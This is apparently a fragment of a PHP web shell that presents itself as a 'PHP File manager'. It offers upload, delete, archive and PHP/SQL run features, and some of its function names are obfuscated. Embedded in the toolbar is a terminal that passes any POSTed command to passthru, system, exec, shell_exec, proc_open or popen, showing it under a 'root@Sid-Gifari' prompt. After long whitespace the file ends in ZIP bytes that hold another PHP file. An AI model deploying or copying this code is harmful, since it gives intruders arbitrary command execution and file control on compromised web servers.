        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
